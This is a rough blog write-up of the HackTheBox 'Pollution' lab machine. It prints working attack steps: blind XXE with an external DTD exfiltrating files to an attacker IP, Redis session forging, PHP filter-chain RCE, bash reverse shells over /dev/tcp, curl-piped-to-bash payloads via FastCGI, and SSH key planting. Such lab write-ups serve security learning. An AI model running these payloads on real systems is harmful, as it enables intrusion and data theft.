start of namp
it's bannber tells us it's apache also running debian and more importatntly we get a php session cookie id back so chances are this is going to be a php website
let's go take a look at the page
roll to the deep and we find that is a collect.htb so we have a potential hostname
add it over to the hostfile
before spend too much time poking at the it ,we need to running the gobuster
cracking directory
gobuster -u http://10.10.11.192 -w /opt/Seclist/discovery/web-content/raft-small-words.txt -o root.gobuster
and we get the first error,it's trying to do a request to this uuid this changes every time and it's getting a 302 redirect and we find that once we enter the wrong second directory the website will redirect to the index page. we need to use -b to avoid these 404 and 302 respone code
gobuster -u http://10.10.11.192/ -w /opt/seclist/discovery/web-content/raft-smll-words.txt -o root.gobuster -b 404,302
while that goes let's examine other feartures of this site and go over to the register functionality and let's try registering ippsec with the password -- success
logging to the website
most the information is similar ,we can see a pollution api is showing on the website --find the API
this is one different from index page
as we know that this page have one api and we can take a look at the js code or page source code finding this api
so the next step is hit this api
go back to gobuster and check the directory
also start gobuster to crack the vhost of this box
gobuster vhost -u http://collect.htb -w /opt/seclist/discovery/DNS/subdomains-topmillion-5000.txt and we get a hit for a forum.collect.htb
go over it to the hosts file and visit this web
we get a message board and this looks like it is my bb an open source message board .we probably try to find out the version of it but we do have threads and post to read
so let's click the form to see if there's anything interesting
and we find that one file call proxy_history.txt is allowed to be download and give a look
when we access it ,it wants me to log in so lets register an account and use it log in.
downloading proxy_history and we get this burpsite file
copy is and put it in a text file
scroll down and see the base64 text .
echo -n xx | base64 -d to show origin text
it looks like the headers to the request
look back to the burpsuite file and respone text is under the label <response length> </responselength>
we find that is a label of url
we can grep the url and take a look the url inside this burpsuite req and res
grep url proxy_history.txt
we can see this http://collect.htb/set/role/admin and http://127.0.0.1:3000/auth/login
maybe there is a local web server on this box
let's search for collect.htb and look at the request text
decode the base64 text a
echo -n xxx | base64 -d
token=ddac62a28254561001277727cb397baf
maybe this token is the password to be able to set/role/admin.
lets recreate this request set/role/admin we're going to see if we can make ourselves an admin
1.go back to home page 2.access http://collect.htb/set/role/admin 3.make the reqeust
change the method of it ,add the token ,send this post request and we get the 302 code but redirect to /admin page
and we go to slash admin what's redirecting us ,we can see a direrent platform
lets just try the username and password which was resgiterd to log in and intercept this request
tips:the most important step for login page is intercept this login request and look at this package whether have vital message in it
it's going to the api so we finally hit the API of pollution
the problem is we can't get any data back so we can't just have this include a file
we need to make the sever make a request back to us,so let's google hacktricks xxe
we can use "blind" SSRF -exfiltrate data out-of-band
according to the exp step,improve each of them
1. touch www directory and vi external.dtd copy the payload below in it
modify some parameter like SYSTEM 'http://10.10.14.8:8000/
it hitting %exfiltrate triggers the system function and file is /etc/hostname
2.python -m http.server 8000
open a webserver
3.copy one standard xxe injection payload and paste it in request package
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://10.10.14.8/external.dtd"> %xxe; ]>
4.send the request
it doesn't show up our hostname message (ERROR-1)
solution
maybe the hostname require us have some type of bad character,let's do a php convert
tips:penetration thought-- we can change different coding to show the text .(if one coding is bad,we can use phpbase64 function or other)
modify the DTD file funciton <!ENTITY % SYSTEM php://filter/convert.base64-encode/resource=/etc/hostname">
we can do this because the application itself is a php so if we make this base64 then it's going to be a lot more friendly to the url
resend the request (success)
look at the python log
we accquire a get request and show us a piece of base64 coding ,decode it and show pollution
but we need to get some susceptible message
modify reading file is /etc/passwd but we find that there is not any base64 coding but a original external.dtd file
the reason why we don't get anything from passwd is the file is too big .there is too many character in it and too long for url and error is out. so we can go for other file.
trying /etc/hosts file (find out whether have other subdomain we don't have)
we get back the content of hosts file by base64 encoding,decode it and find new host --developers.collect.htb
use script to easily get the interaction for the message of xxe injection
download script from https://github.com/ippsec/ctf-scripts/xxe/bind-xxe.py
just copy the whole burp request to a file and use -r to send it
xxe.req file
use script easliy get the message back
python xxe.py -r xxe.req # and enter the susceptible file
we can't get /etc/passwd because the length there is a php wrapper we could have zipped it up first
but we can first collect other message
1.get the apache conf file to check config
first is default file we can't get back
we do get a virtual host
also trying every domain we get
we get a virtual host as well
it show that authuserfiel is at /vat/www/developers/.htpasswd
we can access develop.collect.htb because this domain we find in victim /etc/hosts
it show up a login box and it meas we need to have a username ,password
we can use xxe.py look at the /var/www/developers/.htpasswd
we accquire a pair of username and password
utiliz hashcat crack this password
hashcat hashfile /opt/xxx/rockyou.txt (success)
so the username is developers_group the password is r0cket
login to the developers.collect.htbget to another username and password
we don't have this user and passwd ,we can try week password or username but fail
use xxe lfi to get the /var/www/developer/index.php to check the code
it show that if we don't have the correct authentication we will redirect to login.php
use xxe lfi copy login.php source code out and look at it (fail)
use xxe lif copy bootstrap.php source code out and give a look(success)
so there is a redis server open at port 6379 and tell us auth is COLLECTR3D1SPASS ,we could try to login
redis login
redis-cli -h collect.htb
collect.htb:6379> AUTH COLLECTR3D1SPASS
where we did the xml injection,there is a PHPSESSID cookit that begins with tkng
so if we use redis-cli get this cookie it's very similar to like a php serialized object where we have a username variable
introduction username is string type having 6 character. role is string type having 5 charater
this login.php website probably is multiple users that also use redis accout
we user f12 to see our cookie as a visitor and we find that cookie begins with d79fr
back to redis-cli and get the message from d79fr etc. (get the key it's blank)
set this cookie for a new accout,because we only satisfy one condition we can login
so set the auth eq 1
set PHPREDIS_SESSION:d79fr.....lop3 'auth|b:1;' or 'auth|s:5:"admin";'
visit http://developers.collect.htb/index.php (succes) it redirect to http://xx/?page=home
so cause it is a php website,we can use php://filter/convet.base64-encode/resource to get the file source code back with base64 coding
construt exp for retrieving the source code of login page with base64 coding
exp: http://developers.collect.htb/?page=php:/filter/conver.base64-encode/resouce=login
we get a output ,decode it.
tips: the base64 docoder say that these code are invalid. --we can also copy them from view-source page
decode them again ,we have login.php source code.at the meantime we get mysql login username and password
maybe there is not only lif loophole but also a gadget chain with php filter to put anything we want tin this
access ippsec.rocks and search for php filter code ( it show that we can use gadget chain with php filter to get a RCE)
visit github and search php_filter_chain_generator
git url : https://raw.githubusercontent.com/synacktiv/php_filter_chain_generator/main/php_filter_chain_generator.py
create a php rce exp for php filter RCE
python3 php_filter_chain_generator.py --chain <?php system($_REQUEST['cmd']);?> > exp.txt
and copy to burp request package
at last we add cmd to execute code (fail)
the reason why it can't execute curl cmd is we don't add the cmd parameter at lost
add a cmd key at last as a parameter and resend (success)
send a reverse shell cmd
cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.8:9001 0>&1' (ctrl u to url encode this cmd)
we get a shell
shell interactly improve
python -c 'import pty;pty.spawn("/bin/bash")' to improve #but echo as the command
solution
1.ctrl Z to stop control the shell
2.stty raw -echo;fg
- stty raw -echo -- set the terminal in raw mode which is disabing echoing means that the characters typed by the user will not be displayed on the screen.
- fg -- this command braings a suspended job to the foreground.ti's typically after suspending a preocess(ctrl Z) to resume its execution in the foreground.
3.export TERM=xterm
now we get a great interact shell
look at the open port
ss -pntl
utiliz grep cmd to sift file have 3000 and 9000
we find a /etc/php/8.1/fpm/pool.d/www.conf file is listening, cat it to see what it is
this file have many ';' character ,we use grep -v '^;'and grep '.' to sift the valid statement
we see that victor have the fpm process at the port 9000
since we can access 127.0.0.1 9000,we can inject php code into this project and get a shell as victor
we can google 'hacktrick fpm php'
the pricipal of this RCE
this understanding may not be correct
this whole pool manage workds by like apache sending it the php code for it to execute and what we are going to abuse is we can talk to the same socket that apache is and by giving apache this bash file we can prepend other code to it and we are going to prepend our payload
use python script is more easily to execute
create a file at /tmp and past the python script in it
python xx.py to see the grammer
python3 fcgi.py <?php system("bash -c \"bash -i > & -- when we want to enter to input it turn the cursor to the begining of the cmd
get a interatly shell (when we enter and automatically turning the cursor to begining of sentence)
1.stty -a
2.get to the box shell
stty rows 31 colums 121
use fastcgi.py to pretend a php code to the box localhost file
1.at the kali,we create a index.html with code bash -c 'bash -i >& /dev/tcp/10.10.14.8:9001 0>&1' and start a http server by python at port 8000
2.nc -lvnp 9001 at kali
3.python fcgi.py -c '<? php system("curl 10.10.14.8:8000 | bash");' localhost /var/www/developers/index.php
introduce: this exp is tell the fastcgi to pretend the php code to the /var/www/developers/index.php file and the vital step is curl the kali's http server file to revese the bash to attacker
we get a shell by user victor
go to the /home/victor directory to look up whether have susceptible file
also create a ssh authentication file for easily connect
ssh-keygen to create a authentication file
ssh-keygen -f victor enter enter
create a key
create a pub file and victor key file
kali : python -m http.server 8080 to open a port for victim machine to curl this key file to .ssh/authorized_keys
victor 's shell :
1.curl http://10.10.14.8/victor.pub -o authorized_keys #this key file is typically attention to the privacy,must chmod 600 to this file
2.chmod 600 autho*
use ssh key file and dash i parameter to login ssh with certs
ssh -i victor [email protected] (success)
we still don't know what the service running on port 3000,at the meantime this shell is user shell not the root shell(need to escalate privilege),we can also look at something wether there have a running process is started by root
using ps -ef to search for root running process
we notice that this 1356 process is running by root and use node cmd to execute /root/pollution_api/index.js .we can utiliz this js file to escalate privilege.
cat the js file and notice this file is listen on 3000
tar the pollution_pai directory and use scp to send this file to our kali's local
(victim)tar cmd : tar -cjvf pollution_api.tar.bz2 pollution_api
(kali)scp cmd : scp -i victor [email protected]:/pollution_api.tar.bz3 .
https://www.zolaboo.com/blog/3FHuatma5fw6M9fvCLeJq3/
标签:insane,use,code,get,hackthebox,file,login,php,pollution From: https://www.cnblogs.com/lisenMiller/p/17561525.html